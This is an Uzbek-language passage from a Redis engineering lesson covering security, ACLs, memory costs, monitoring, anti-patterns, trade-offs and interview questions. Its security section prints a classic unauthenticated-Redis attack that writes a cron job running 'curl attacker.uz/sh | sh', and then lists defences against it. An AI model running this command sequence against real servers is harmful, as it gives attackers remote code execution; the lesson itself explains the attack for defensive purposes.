- Tarmoq buferini to‘ldiradi —
HGETALLbilan 500 MB qaytarish mijozni ham, serverni ham bo‘g‘adi
Yechim — kalitni bo‘lish (sharding within Redis):
user:42:events -> 10M element, yomon
user:42:events:2026-09 -> oyma-oy, har biri ~300k
10.2 Degradatsiya tartibi
11. Xavfsizlik
11.1 Tarixiy muammo: himoyasiz Redis
Redis uzoq vaqt standart holda parolsiz ishlagan va bu internetga ochiq qolgan minglab serverning buzilishiga olib kelgan. Klassik hujum:
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SET x "\n\n*/1 * * * * curl attacker.uz/sh | sh\n\n"
SAVE
Ya’ni hujumchi Redis‘ni o‘z ma’lumotini crontab fayli sifatida yozishga majbur qiladi. Bir daqiqadan keyin server hujumchining kodini ishga tushiradi.
Himoya qatlamlari:
| Chora | Nima beradi |
|---|---|
bind 127.0.0.1 va tarmoq izolyatsiyasi | Redis umuman ochiq bo‘lmaydi — eng muhim chora |
requirepass yoki ACL (Redis 6+) | Autentifikatsiya |
protected-mode yes | Parolsiz va bind‘siz holda tashqi ulanishni rad etadi |
rename-command CONFIG "" | Xavfli komandalarni o‘chirish |
| TLS | Tarmoqdagi tinglash va o‘zgartirishga qarshi |
11.2 ACL: foydalanuvchi darajasidagi cheklov
Redis 6 dan boshlab har bir mijozga alohida huquq berish mumkin:
ACL SETUSER cache_app on >parol123 ~cache:* +get +set +del +expire
~cache:* -> faqat shu naqshdagi kalitlar
+get ... -> faqat shu komandalar
Bu eng kam imtiyoz prinsipini amalga oshiradi: ilova buzilsa ham, hujumchi FLUSHALL
qila olmaydi yoki boshqa xizmatning kalitlarini o‘qiy olmaydi.
11.3 Lua va boshqa nozik joylar
- Lua sandbox — skriptlar fayl tizimiga va tarmoqqa kira olmaydi, lekin ular
serverni bloklashi mumkin. Foydalanuvchi kiritgan ma’lumotdan skript qurish
(string concatenation) — Redis uchun “SQL injection” ekvivalenti. Har doim
KEYSvaARGVorqali uzating - Xotiradagi maxfiy ma’lumot — sessiya tokenlari, shaxsiy ma’lumotlar. RDB fayli ochiq matnda saqlanadi; zaxira nusxalar shifrlanishi kerak
CLIENT LISTvaMONITOR— ular barcha komandalarni ko‘rsatadi, ya’ni parollar va tokenlar ham ko‘rinadi. ACL bilan cheklanishi shart
Nazorat savoli · javobni ko‘rishRedis bilan ishlaydigan ilovada 'timeout' qanday sozlanishi kerak?
Uchta alohida timeout bor va ular chalkashtiriladi:
- Ulanish timeout (connect) — 100–500 ms. Redis bir xil tarmoqda, sekin ulanish demak muammo bor
- Komanda timeout (socket read) — 50–200 ms. Redis komandasi mikrosoniyalarda bajariladi; 1 soniya kutish mantiqsiz va ilovani bloklaydi
- Hovuzdan ulanish kutish — 50–100 ms. Uzoq kutish orqa bosimni yo‘qotadi
Va eng muhimi: timeout bo‘lganda nima qilamiz? Kesh uchun — bazaga borish (fail-open). Rate limiter uchun — ruxsat berish yoki rad etish, bu biznes qaroriga bog‘liq (fail-open suiiste’molga yo‘l ochadi, fail-closed halol foydalanuvchini bloklaydi).
Retry faqat idempotent komandalarga (GET, SET) va faqat bir marta, jitter bilan.
INCR ni retry qilish hisobni buzadi.
Nazorat savoli · javobni ko‘rishKlasterda `MGET user:1:name user:2:name` xato beryapti. Nima bo'lyapti va qanday tuzatasiz?
CROSSSLOT xatosi: user:1:name va user:2:name turli slotlarga tushadi
(CRC16(kalit) mod 16384), bir necha kalitli komandalar esa faqat bitta slot ichida
ishlaydi.
Uch yechim, holatga qarab:
- Kalitlarni slot bo‘yicha guruhlab, alohida
MGETyuborish — mijoz kutubxonalari ko‘pincha buni avtomatik qiladi. Eng universal yechim - Pipeline — alohida
GETlar, lekin bitta paketda. Deyarli bir xil tezlik va hech qanday cheklov yo‘q - Hash teg — agar kalitlar doim birga o‘qilsa:
user:{1}:name. Lekin bu bir foydalanuvchining hamma ma’lumotini bitta tugunga bog‘laydi va yuk muvozanatini buzishi mumkin
Bu yerda 1 va 2 to‘g‘ri; 3 faqat mantiqan bog‘liq kalitlar uchun (bitta foydalanuvchining profili va sozlamalari kabi).
12. Iqtisod: RAM qancha turadi
Redis qarorlarining aksariyati bitta faktdan kelib chiqadi: RAM diskdan ~100 barobar qimmat.
12.1 Qaysi ma’lumot RAM ga arziydi
Oddiy mezon: saqlash narxi tejagan hisob narxidan kam bo‘lsa arziydi.
12.2 Xarajatni kamaytirish vositalari
| Vosita | Kutilayotgan yutuq | Narxi |
|---|---|---|
| Kichik obyektlarni hash‘da guruhlash | 3–5× | Kod murakkabligi |
| Kodlash chegaralarini sozlash | 2–5× kichik obyektlarda | O(N) sezilarli bo‘ladi |
| Faqat issiq qismini keshlash | 5–10× | Urish darajasi tushadi |
| HLL / bitmap ishlatish (SET o‘rniga) | 100–1000× | Taxminiylik yoki cheklov |
| Qiymatlarni siqish (kliyentda) | 2–4× | CPU va debug qiyinlashadi |
| TTL siyosati va tozalash | O‘sishni to‘xtatadi | Yo‘qolgan kesh urishlari |
| Kalit nomlarini qisqartirish | 5–15% | O‘qilishi yomonlashadi |
▸Chuqurroq: Kalit nomlari ham xotira yeydi
user_session_data:organization:42:user:12345678 — 47 bayt. Million kalit bo‘lsa,
faqat nomlar 47 MB va uning ustiga SDS sarlavhasi va yaxlitlash.
s:o42:u12345678 — 15 bayt, ya’ni 3 barobar kam.
Bu mikro-optimizatsiya kabi ko‘rinadi va kichik bazada shunday. Lekin 100 million kalitda farq 3 GB ni tashkil qiladi — bu oyiga ~$40 va, muhimi, fork cho‘qqisidagi zaxira talabini ham oshiradi.
Muvozanat: qisqartirish debug‘ni qiyinlashtiradi. Amaliy kelishuv — prefikslarni
qisqartirish (session: → s:), lekin identifikatorlarni to‘liq qoldirish.
13. Sig‘im rejalashtirish
Qachon klasterga o‘tish kerak:
| Signal | Chegara |
|---|---|
| Ma’lumot hajmi | 100 GB dan oshsa (fork vaqti va tiklash sekinlashadi) |
| Yozish throughput | 80 000 ops/s dan oshsa (bitta yadro chegarasi) |
| Fork davomiyligi | 500 ms dan oshsa (latest_fork_usec) |
| Tiklash vaqti | Qabul qilinmas darajada uzun (100 GB RDB ~ 10 daqiqa) |
14. Kuzatuv
14.1 Eng muhim metrikalar
INFO stats | grep keyspace
keyspace_hits: 9500000
keyspace_misses: 500000
-> urish darajasi = 9.5M / 10M = 95%
| Metrika | Nimani ko‘rsatadi | Ogohlantirish chegarasi |
|---|---|---|
keyspace_hits/misses | Kesh samaradorligi | Urish darajasi 90% dan past |
used_memory va maxmemory nisbati | Xotira bosimi | 85% dan yuqori |
mem_fragmentation_ratio | Fragmentatsiya yoki swap | 1.5 dan yuqori yoki 1.0 dan past |
evicted_keys | Siqib chiqarish sodir bo‘lyapti | Har qanday o‘sish (keshdan tashqarida) |
expired_keys | TTL ishlayapti | Kutilganidan keskin farq |
instantaneous_ops_per_sec | Yuk | Bazaviy chiziqdan 2× og‘ish |
connected_clients | Ulanishlar | maxclients ning 80% i |
rejected_connections | Limitga urildi | Har qanday nolga teng bo‘lmagan son |
blocked_clients | BRPOP/XREAD da kutayotganlar | Kutilmagan o‘sish |
latest_fork_usec | Oxirgi fork qancha bloklagan | 500 000 (0.5 s) dan yuqori |
master_repl_offset farqi | Replikatsiya kechikishi | 1 MB dan yuqori |
14.2 Diagnostika vositalari
SLOWLOG GET 10 # eng sekin 10 komanda (standart chegara 10 ms)
LATENCY DOCTOR # kechikish sabablarini tahlil qiladi
MEMORY DOCTOR # xotira muammolari bo'yicha maslahat
MEMORY USAGE <kalit> # bitta kalit qancha joy egallaydi
redis-cli --bigkeys # har tur bo'yicha eng katta kalitlar
redis-cli --hotkeys # eng ko'p so'raladigan kalitlar (LFU kerak)
redis-cli --latency # real vaqtdagi kechikish o'lchovi
15. Antinaqshlar
| Qaror | Nima yutamiz | Nimani yo'qotamiz |
|---|---|---|
| Ishlab chiqarishda KEYS ishlatish | Yozish oson | O(N) — butun serverni soniyalarga bloklaydi. SCAN bor |
| maxmemory qo'ymaslik | Konfiguratsiya kam | OOM killer Redis'ni o'ldiradi — butun ma'lumot bir lahzada yo'qoladi |
| Kesh va sessiyani bitta instansiyada saqlash | Arzon | allkeys-lru sessiyalarni chiqarib yuboradi — foydalanuvchilar tizimdan chiqadi |
| TTL siz kesh kalitlari | Kod sodda | Xotira cheksiz o'sadi; volatile-* siyosatda ular hech qachon chiqarilmaydi |
| Katta JSON'ni bitta kalitda saqlab, butunini o'qish | Sodda model | Tarmoq va CPU isrofi; hash bilan faqat kerakli maydonni olish mumkin |
| Siklda GET chaqirish | Kod tabiiy ko'rinadi | N x RTT — 500 kalit uchun 100 ms. MGET yoki pipeline 100 barobar tez |
| Pub/Sub bilan muhim hodisa yuborish | Eng past kechikish | Obunachi uzilsa xabar butunlay yo'qoladi. Streams kerak |
| Redis lock'ga to'g'rilik uchun ishonish | Oddiy ko'rinadi | GC pauzasi ikki egani yaratadi. Fencing token yoki bazadagi tranzaksiya kerak |
| Ko'p ijarachilikni SELECT db raqami bilan qilish | Tez yechim | Klasterda ishlamaydi, FLUSHALL hammasini o'chiradi, izolyatsiya yo'q |
| Ma'lumotni faqat Redis'da saqlash (doimiyliksiz) | Eng tez | Qayta ishga tushirish = ma'lumot yo'q. AOF yoki manba tizim shart |
16. Trade-off‘lar
| Qaror | Nima yutamiz | Nimani yo'qotamiz |
|---|---|---|
| AOF everysec | 1 soniyagacha yo'qotish, tez | Fayl o'sadi, rewrite fork qiladi |
| AOF always | Deyarli yo'qotishsiz | Throughput bir necha barobar tushadi |
| Faqat RDB | Eng kam ustama xarajat, tez tiklash | Suratlar orasidagi hamma narsa yo'qoladi |
| Replikadan o'qish | O'qish throughput'i oshadi | Eskirgan ma'lumot; o'zi yozganini o'qiy olmaslik |
| min-replicas-to-write | Split-brain'da yo'qotish kamayadi | Replika tushsa yozish to'xtaydi (mavjudlikdan voz kechish) |
| Klaster | Chiziqli masshtablash | CROSSSLOT cheklovi, operatsion murakkablik |
| Hash teglar | Bir necha kalitli amallar ishlaydi | Yuk notekis taqsimlanadi |
| Katta listpack chegaralari | Xotira 5 barobar kam | O(N) qidiruv sezilarli bo'ladi |
| HyperLogLog | 12 KB da milliard element | 0.81% xato, elementlarni qaytarib bo'lmaydi |
| Lua skriptlar | Murakkab atomik amallar | Server bloklanadi; debug qiyin; ko'chirish murakkab |
Butun dars o‘nta gapda
- Redis — xotiradagi ma’lumot strukturalari serveri, “tez kesh” emas: uning qiymati server tomonidagi atomik ro‘yxat, ZSET, bitmap, HLL va oqimlarda (kirish, 1.2).
- Vaqtning 99% i tarmoqqa ketadi: Redis’ni tezlashtirish — chaqiruvlar
sonini kamaytirish (pipelining,
MGET, to‘g‘ri modellashtirish) (1.1, 2.7). - Bitta ip — atomiklik va oddiylik, narxi esa: bitta
O(N)komanda butun serverni to‘xtatadi (2.1, 2.6, 6.2). - Kichik qiymatlarda “qadoq” ma’lumotdan katta: hash ichida guruhlash va listpack kodlashi xotirani 3–5 barobar tejaydi (2.4, 2.5).
- TTL va siqib chiqarish — ikki xil mexanizm: passiv + namunali faol
ekspirasiya, va
maxmemorybo‘yicha namunali LRU/LFU (3, 7.3). - “+OK” — “saqlandi” emas: AOF
everysec~1 soniya, asinxron replikatsiya esa failover’da yozuvlarni yo‘qotadi (4, 6.3, 8.2). - fork xotirani ikki barobargacha oshiradi:
maxmemoryRAM ning 50–60% idan oshmasin (4.2, 13). - Har stsenariyga o‘z strukturasi: reyting — skiplist (span bilan O(log N) rank), noyob sanash — HLL (12 KB), faollik — bitmap, navbat — Streams (5, 7).
- Redis lock — samaradorlik uchun, to‘g‘rilik uchun emas: to‘g‘rilik resursdagi fencing token yoki tranzaksiyada (5, 7-stsenariy).
- Kesh, sessiya va navbatni ajrating: ularning siqib chiqarish, doimiylik va o‘sish talablari qarama-qarshi (5-bo‘lim Check, 9).
17. Intervyu savollari
17.1 Asoslar
▸Redis nima uchun tez? 'Xotirada' degan javob yetarlimi?
Yetarli emas — xotirada ishlaydigan tizimlar ko‘p. Redis‘ning tezligi to‘rtta omildan:
- Xotirada — disk kechikishi yo‘q (100 ns vs 100 µs)
- Bitta ip, event loop — qulf, kontekst almashinuvi, koordinatsiya yo‘q. Bitta komanda ~1 mikrosoniya
- Sodda protokol (RESP) — parse qilish arzon, javob ixcham
- Optimallashtirilgan ma’lumot strukturalari — kichik obyektlar uchun kesh-do‘st ixcham kodlashlar (listpack, intset)
Muhim nuance: amalda vaqtning 99% i tarmoqqa ketadi (RTT ~200 µs, komanda ~1 µs).
Shuning uchun Redis bilan ishlashda eng katta optimizatsiya — pipelining va MGET,
ya’ni chaqiruvlar sonini kamaytirish.
▸Bitta ip zamonaviy 32 yadroli serverda isrof emasmi?
Yo‘q, chunki bitta yadro sekundiga million komanda bajaradi va bundan oldin tarmoq to‘yinadi. Bitta ip qulflar, race condition va deadlock‘larni butunlay yo‘q qiladi va har bir komandani atomik qiladi — bu Redis‘ning ko‘p stsenariylarini imkonli qiladigan xususiyat.
Redis 6 dan I/O threads bor: socketdan o‘qish va yozish bir necha yadroga taqsimlanadi, komandalarni bajarish esa hali ham bitta ipda — atomiklik saqlanadi.
Yadrolarni to‘liq ishlatish kerak bo‘lsa, bitta serverda bir necha Redis jarayoni ishga tushiriladi (har biri o‘z porti va ma’lumot bo‘lagi bilan) — bu Redis Cluster‘ning bitta mashinadagi ko‘rinishi.
▸Nega KEYS ishlab chiqarishda taqiqlangan va o'rniga nima ishlatiladi?
KEYS butun kalit maydonini skanerlaydi — O(N). 10 million kalitli bazada bu bir necha
soniya oladi va bitta ipli server shu vaqt davomida boshqa hech kimga javob bermaydi.
Ya’ni bitta buyruq butun tizimni to‘xtatadi.
O‘rniga SCAN ishlatiladi: kursorli, har chaqiruvda kichik bo‘lak qaytaradi, server
bloklanmaydi. Kafolati zaifroq (skan davomida qo‘shilganlar tushishi ham, tushmasligi ham
mumkin), lekin butun vaqt mavjud bo‘lgan kalit albatta qaytariladi.
Umumiy tamoyil: bitta ipli serverda har bir O(N) komanda — bu butun tizim uchun
O(N) to‘xtash. Shu sabab katta obyektlarda HGETALL, SMEMBERS, LRANGE 0 -1 ham
xavfli.
▸TTL berilgan kalit muddati tugagach darhol o'chiriladimi?
Yo‘q. Ikki mexanizm birga ishlaydi: passiv — kalitga murojaat qilinganda tekshiriladi
va o‘sha payt o‘chiriladi; faol — serverCron har 100 ms da TTL li kalitlardan 20
tasini tasodifiy tanlab tekshiradi va agar 25% dan ko‘pi muddati o‘tgan bo‘lsa, siklni
takrorlaydi.
Amaliy oqibat: xotirada muddati o‘tgan, lekin hali o‘chirilmagan kalitlar bo‘lishi mumkin (nazariy jihatdan ~25% gacha). Va agar million kalitning muddati bir vaqtda tugasa, faol sikl ularni tozalayotganda kechikish oshadi — shuning uchun TTL ga jitter berish kerak.
17.2 Xotira
▸10 million kalit qancha xotira yeydi? Hisobingizni ko'rsating.
Bitta oddiy kalit-qiymat (kalit ~13 bayt, qiymat 50 bayt):
dictEntry 24 bayt
kalit SDS (yaxlitlash bilan) ~32 bayt
qiymat robj 16 bayt
qiymat SDS ~72 bayt
ekspirasiya yozuvi (TTL bo'lsa) ~24 bayt
------------------------------------
Jami ~168 bayt
10 million × 168 = 1.68 GB, buning 63% i ustama xarajat.
Xulosa amaliy: kichik qiymatlarni alohida kalitlarda saqlash isrof. Ularni hash ichida
guruhlash (listpack kodlashi bilan) 3–5 barobar tejaydi. Aniq raqamni MEMORY USAGE
komandasi bilan o‘lchash mumkin.
▸Nega 128 ta maydonli hash 129 ta maydonlidan 5 barobar arzon?
Chegaraga qadar Redis listpack kodlashini ishlatadi: bu ko‘rsatkichlarsiz, ixcham
ketma-ket massiv. Chegaradan oshgach u hashtable ga o‘tadi: dict, har maydon uchun
alohida dictEntry va SDS satrlar.
hash-max-listpack-entries 128
hash-max-listpack-value 64
Har ikkala shart ham bajarilishi kerak: 100 ta maydon bo‘lsa-yu, bittasi 200 baytli bo‘lsa, hash baribir hashtable‘ga o‘tadi. Va bu qaytmas: elementlar o‘chirilib, soni yana 128 dan kamaysa ham, kodlash listpack‘ga qaytmaydi.
Amaliy oqibat: xotira “sababsiz” sakraganda birinchi navbatda OBJECT ENCODING bilan
tekshirish kerak.
▸mem_fragmentation_ratio 0.7 ko'rsatyapti. Bu yaxshimi?
Yo‘q, bu eng yomon signallardan biri. Nisbat used_memory_rss / used_memory —
ya’ni OT ko‘rgan xotira Redis hisoblaganidan kam. Bu ma’lumotning bir qismi
swap‘ga tushganini anglatadi.
Oqibati: swap‘dagi sahifaga murojaat 100 ns o‘rniga 100 µs oladi — ming barobar sekin. Va bu bitta ipli serverda butun navbatni to‘xtatadi.
Chora: maxmemory ni pasaytirish, serverga RAM qo‘shish, va Redis serverlarida
swap‘ni butunlay o‘chirish (yiqilish sekin o‘lishdan yaxshiroq). Nisbat 1.5 dan
yuqori bo‘lsa — bu boshqa muammo: fragmentatsiya, activedefrag yes yordam beradi.
17.3 Doimiylik va ishonchlilik
▸RDB va AOF farqi nima? Qaysi birini tanlaysiz?
RDB — belgilangan vaqtdagi butun ma’lumotning ixcham binar surati. Fayl kichik, tiklash tez, lekin suratlar orasidagi yozuvlar yo‘qoladi.
AOF — har bir yozish komandasining jurnali. appendfsync everysec bilan yo‘qotish
oynasi ≤1 soniya. Fayl kattaroq, tiklash sekinroq, va davriy rewrite kerak.
Amalda ikkalasi birga: AOF yo‘qotishni minimallashtiradi, RDB tez tiklash va zaxira nusxa uchun ishlatiladi (Redis ishga tushganda AOF mavjud bo‘lsa undan tiklaydi).
Muhim: ikkalasi ham fork qiladi va xotira cho‘qqisini yaratadi (4.2-bo‘lim). Sof kesh
uchun doimiylikni butunlay o‘chirish ham to‘g‘ri qaror — tiklash manba bazadan bo‘ladi.
▸Saqlash paytida xotira nega ikki barobargacha oshadi?
fork() bola jarayon yaratadi va xotira copy-on-write rejimida baham ko‘riladi.
Ota jarayon (Redis) yozishda davom etsa, har bir tegilgan 4 KB sahifa nusxalanadi.
Og‘ir yozish yukida saqlash 60 soniya davom etsa va sekundiga 50 000 yozuv bo‘lsa, eng yomon holatda 12 GB gacha qo‘shimcha nusxalanishi mumkin. Odatiy holatda ustama 10–30%.
Shuning uchun: maxmemory jismoniy RAM ning 50–60% idan oshmasligi kerak,
vm.overcommit_memory=1 qo‘yilishi va Transparent Huge Pages o‘chirilishi shart
(THP bilan nusxalash 4 KB emas, 2 MB granularlikda bo‘ladi — 512 barobar qimmatroq).
▸Failover'da qancha ma'lumot yo'qoladi?
Replikatsiya asinxron, ya’ni master yozuvni qabul qilib mijozga darhol javob beradi va replikaga keyin yuboradi. Failover‘da replikaga yetib ulgurmagan hamma narsa yo‘qoladi.
Odatiy sozlamada: 100 000 ops/s × 5 ms kechikish = ~500 yozuv. Tarmoq muammosida kechikish 0.5 s ga chiqsa — 50 000 yozuv.
Kamaytirish: min-replicas-to-write 1 va min-replicas-max-lag 10 (replikasiz qolgan
master yozishni o‘zi rad etadi), muhim yozuvlar uchun WAIT 1 100.
Yo‘qotishni nolga tushirish mumkin emas — bu asinxron replikatsiyaning tabiati. Agar nol yo‘qotish talab qilinsa, Redis noto‘g‘ri tanlov.
▸Split-brain nima va Redis'da unga qanday qarshi turasiz?
Tarmoq bo‘linishida eski master hali ishlab turadi, Sentinel esa yangisini ko‘taradi — ikkita master paydo bo‘ladi. Mijozlarning bir qismi eskisiga yozishda davom etadi, va tarmoq tiklanganda eski master replikaga aylanib, o‘z ma’lumotini tashlaydi.
Himoya: min-replicas-to-write 1 — ozchilik tomonda qolgan master replikasiz qolganini
sezib, yozishni o‘zi to‘xtatadi. Bu CAP bo‘yicha ongli tanlov: bo‘linishda mavjudlikdan
voz kechib, izchillikni saqlash.
Sentinel uchun toq sonli va tarqoq joylashgan tugunlar kerak (3 ta, quorum 2).
Ikkita Sentinel bilan kvorum ma’nosini yo‘qotadi.
17.4 Amaliy stsenariylar
▸Taqsimlangan lock yasang. Qanday kafolat bera olasiz?
Asosiy naqsh: SET lock:X <unikal-token> NX PX 30000, ochish esa Lua orqali (token
tekshirilib, keyin DEL) — aks holda boshqasining qulfini ochib yuborish mumkin.
Berilmaydigan kafolat: to‘liq o‘zaro istisno. Jarayon qulfni olgach GC pauzasi yoki tarmoq uzilishiga tushsa, qulf muddati tugaydi, boshqasi uni oladi, birinchisi esa “uyg‘onib” o‘zini hali egadek his qiladi. Hech qanday taymer buni yechmaydi.
Yagona to‘g‘ri yechim: fencing token — qulf bilan birga o‘suvchi raqam beriladi va himoyalanayotgan resurs kichikroq raqamli yozuvni rad etadi. Ya’ni xavfsizlik Redis‘da emas, resursning o‘zida ta’minlanadi.
Redlock haqida: u ham tarmoq va soat haqida kuchli farazlarga tayanadi. Amaliy maslahat: Redis lock — samaradorlik uchun (ish ikki marta bajarilmasin), to‘g‘rilik uchun emas (pul ikki marta yechilmasin).
▸Sekundiga 1 million marta bosiladigan reyting jadvali qanday quriladi?
ZINCRBY atomik va O(log N), ya’ni Redis‘ning o‘zi buni uddalaydi — muammo tarmoq
va bitta kalit.
Yondashuv:
- Yozishlarni to‘plash — ilova serverida 1 soniyalik oynada ballarni yig‘ib, keyin
bitta
ZINCRBYyuborish. 1M ops/s → 50 ta server × 1 ops/s - Ikki qatlamli — har bir shardda mahalliy ZSET, davriy ravishda
ZUNIONSTOREbilan global jadvalga birlashtirish - Sahifalashni cheklash —
ZREVRANGE 0 99arzon, lekinZREVRANGE 1000000 1000099O(log N + M)va katta ofsetlarda sekin. Chuqur sahifalash o‘rniga “mening atrofimdagi 10 kishi” (ZREVRANK+ kichik diapazon) beriladi
Va ballga vaqtni qo‘shish (5-bo‘lim, 4-stsenariy) — bir xil balldagilar tartibi adolatli bo‘lishi uchun.
▸Redis'ni navbat sifatida ishlatsa bo'ladimi?
Ha, lekin qaysi struktura muhim.
LPUSH/BRPOP eng oddiy, lekin xabar BRPOP bilan olingach ro‘yxatdan chiqadi —
ishchi shu payt tushsa, vazifa butunlay yo‘qoladi. BLMOVE bilan “ishlanmoqda”
ro‘yxatiga ko‘chirish bu muammoni qisman yechadi.
Streams to‘g‘ri javob: iste’molchi guruhlari, XACK bilan tasdiqlash, tashlab
ketilgan xabarlarni XAUTOCLAIM bilan qaytarish, tarix. Faqat MAXLEN bilan
cheklashni unutmaslik kerak — aks holda xotira cheksiz o‘sadi.
Qachon Redis navbat sifatida yaramaydi: bir necha kunlik tarix kerak bo‘lsa, xabarlar hajmi RAM ga sig‘masa, murakkab marshrutlash yoki qayta ishlash kafolatlari kerak bo‘lsa. Bunday holatlarda Kafka yoki maxsus navbat tizimi to‘g‘riroq.
▸Kesh urish darajasi 95% dan 70% ga tushdi. Diagnostika tartibingiz?
evicted_keys— o‘syaptimi? Demak xotira to‘lgan va kalitlar siqib chiqarilyapti. Sabab: ma’lumot o‘sgan, yangi funksiya ko‘p kalit yozyapti, yoki TTL qo‘yilmaganexpired_keys— keskin oshgan bo‘lsa, TTL siyosati o‘zgargan bo‘lishi mumkinkeyspace_missesmanbasi — yangi turdagi kalitlar so‘ralyaptimi (yangi funksiya) yoki mavjud bo‘lmagan kalitlar (skanerlash, noto‘g‘ri kalit nomi)- Deploy tarixi — kalit nomlash sxemasi o‘zgardimi? Bu keshni bir lahzada butunlay bekor qiladi
- Instansiya qayta ishga tushganmi — sovuq kesh
Eng ko‘p uchraydigani: kalit formatining o‘zgarishi (masalan user:42 → user:v2:42)
deploy bilan birga keshni noldan boshlaydi va bazaga to‘satdan to‘liq yuk tushadi.
▸Ilovangiz Redis'siz ishlaydimi? Buni qanday sinaysiz?
Bu — eng muhim amaliy savol. Ko‘p jamoalar Redis‘ni “kesh” deb hisoblaydi, lekin amalda u kritik yo‘lga o‘tib ketgan bo‘ladi: sessiyalar, rate limiting, feature flag‘lar, navbatlar, taqsimlangan lock‘lar.
Sinov: sinov muhitida Redis‘ni o‘chiring va ilovani ishlatib ko‘ring. Kutilgan natija — sekinlashish, lekin ishlash. Agar ilova butunlay to‘xtasa, Redis siz uchun kesh emas.
To‘g‘ri tayyorgarlik: har bir Redis chaqiruvi uchun qisqa timeout (50–200 ms) va aniq fallback siyosati — kesh uchun bazaga borish, rate limiter uchun ruxsat yoki rad etish (biznes qaroriga qarab), sessiya uchun qayta kirishga yo‘naltirish.
▸Redis Cluster'ga qachon o'tish kerak va nima yo'qotasiz?
O‘tish signallari: ma’lumot 100 GB dan oshsa (fork va tiklash vaqti qabul qilinmas
bo‘ladi), yozish throughput 80 000 ops/s ga yaqinlashsa (bitta yadro chegarasi),
latest_fork_usec 500 ms dan oshsa.
Yo‘qotasiz:
- Bir necha kalitli komandalar (
MGET,SUNION,MULTI, Lua) faqat bitta slot ichida ishlaydi — hash teglar kerak bo‘ladi SELECT(bir necha ma’lumotlar bazasi) umuman yo‘q- Operatsion murakkablik: slot migratsiyasi,
MOVED/ASKboshqaruvi, mijoz kutubxonasining klaster qo‘llab-quvvatlashi
Ko‘p hollarda arzonroq muqobil — funksional bo‘lish: kesh, sessiya, navbat uchun alohida instansiyalar. Bu klasterning murakkabligisiz masshtabning katta qismini beradi.
▸Redis'ni asosiy ma'lumotlar bazasi sifatida ishlatish mumkinmi?
Mumkin, lekin shartlar qat’iy: ma’lumot RAM ga sig‘adi va o‘sishi bashoratli;
AOF everysec yoqilgan va 1 soniyagacha yo‘qotish qabul qilinadi; replika va avtomatik
failover bor; murakkab so‘rov (JOIN, agregatsiya, ad-hoc filtr) kerak emas; zaxira
nusxa jarayoni sinovdan o‘tgan.
Mos: real-time o‘yin holati, sessiyalar, feature flag‘lar, IoT qurilma holatlari.
Mos emas: moliyaviy yozuvlar, tarixiy hisobotlar, “yo‘qolsa halokat” ma’lumoti. RAM narxi diskdan ~100 barobar qimmat ekanini ham hisobga olish kerak — 500 GB ma’lumot uchun Redis oyiga o‘n minglab dollarga tushadi.
▸Pub/Sub va Streams orasida qanday tanlaysiz?
Savol bitta: xabar yo‘qolsa nima bo‘ladi?
Pub/Sub — fire-and-forget. Xabar shu lahzada ulangan obunachilarga yuboriladi va saqlanmaydi. Obunachi bir soniyaga uzilsa, o‘sha davrdagi hamma narsa yo‘qoladi. Kechikish eng past, xotira sarfi deyarli nol.
Streams — jurnal: xabarlar saqlanadi, iste’molchi guruhlari bor, XACK bilan tasdiqlash
va XAUTOCLAIM bilan tashlab ketilganlarni qaytarish mumkin. Kechikish deyarli bir xil,
lekin xotira sarflanadi va MAXLEN bilan cheklash shart.
Amaliy qoida: signal uchun Pub/Sub (“ma’lumot yangilandi, qayta yukla”), hodisa uchun Streams (“to‘lov o‘tdi”, “buyurtma yaratildi”). Signal yo‘qolsa, keyingi signal uni tuzatadi; hodisa yo‘qolsa — biznes yo‘qotadi.
▸Lua skriptingiz serverni bloklab qo'ydi. Nima qilasiz?
Redis BUSY holatiga o‘tadi va boshqa komandalarga xato qaytaradi. Ikki chiqish yo‘li:
SCRIPT KILL -- skript hech narsa YOZMAGAN bo'lsa ishlaydi
SHUTDOWN NOSAVE -- yozgan bo'lsa, yagona yo'l (ma'lumot yo'qoladi)
Ikkinchisi shuning uchun keskin: skript yozishni boshlagan bo‘lsa, uni to‘xtatish ma’lumotni yarim holatda qoldiradi va bu atomiklik kafolatini buzadi. Redis buni oldini olish uchun butun jarayonni to‘xtatishni tanlaydi.
Oldini olish: skriptlarni qisqa va bashoratli yozish (sikllar chegarali bo‘lsin),
busy-reply-threshold ni sozlash, va skriptlarni ishlab chiqarishga chiqarishdan oldin
eng katta realistik ma’lumotda sinash. Ko‘p elementli ma’lumot ustidagi sikl —
Lua‘dagi eng ko‘p uchraydigan xato.
▸Replikadan o'qish har doim yaxshi g'oyami?
Yo‘q. U o‘qish throughput‘ini oshiradi, lekin uchta muammo qo‘shadi:
- Eskirgan ma’lumot — replikatsiya asinxron, ya’ni replika bir necha millisekund (yuk paytida esa sekundlar) orqada bo‘lishi mumkin
- “O‘zi yozganini o‘qiy olmaslik” — foydalanuvchi ma’lumotni yangiladi, darhol o‘qidi va eskisini ko‘rdi. Bu 2-darsdagi bir xil muammo
- Failover paytidagi chalkashlik — replika master bo‘lganda, eski master hali mijozlar uchun “master” bo‘lib qolishi mumkin
Amaliy yechim: yozgandan keyin o‘sha foydalanuvchi uchun master‘dan o‘qish (qisqa vaqt davomida), yoki umuman replikadan faqat eskirishga chidamli ma’lumotni o‘qish (reyting jadvali, statistika, tavsiyalar).
▸Bitmap va HyperLogLog orasida qanday tanlaysiz?
Ikkalasi ham juda ixcham, lekin butunlay boshqa savolga javob beradi.
Bitmap — “bu aniq odam bugun faol bo‘ldimi?” Aniq javob, GETBIT bilan bitta
foydalanuvchini tekshirish mumkin, BITOP bilan kunlar kesishmasini olish mumkin
(retention hisobi). Shart: ID lar zich butun sonlar bo‘lishi kerak. 100M foydalanuvchi
= 12.5 MB.
HyperLogLog — “bugun nechta noyob odam bo‘ldi?” Faqat son, 0.81% xato bilan. Elementlarni qaytarib bo‘lmaydi va “falonchi bormi?” degan savolga javob bermaydi. Hajmi doim 12 KB. Shart yo‘q: ID lar istalgan satr bo‘lishi mumkin.
Ya’ni: kim kerak bo‘lsa bitmap, faqat nechta kerak bo‘lsa HLL. Ikkalasi birga ham ishlatiladi: kunlik aniq holat bitmap‘da, uzoq muddatli noyob sonlar HLL‘da.
▸Yangi loyihada Redis'ni monitoring qilyapsiz. Birinchi beshta metrika qaysi?
- Kesh urish darajasi (
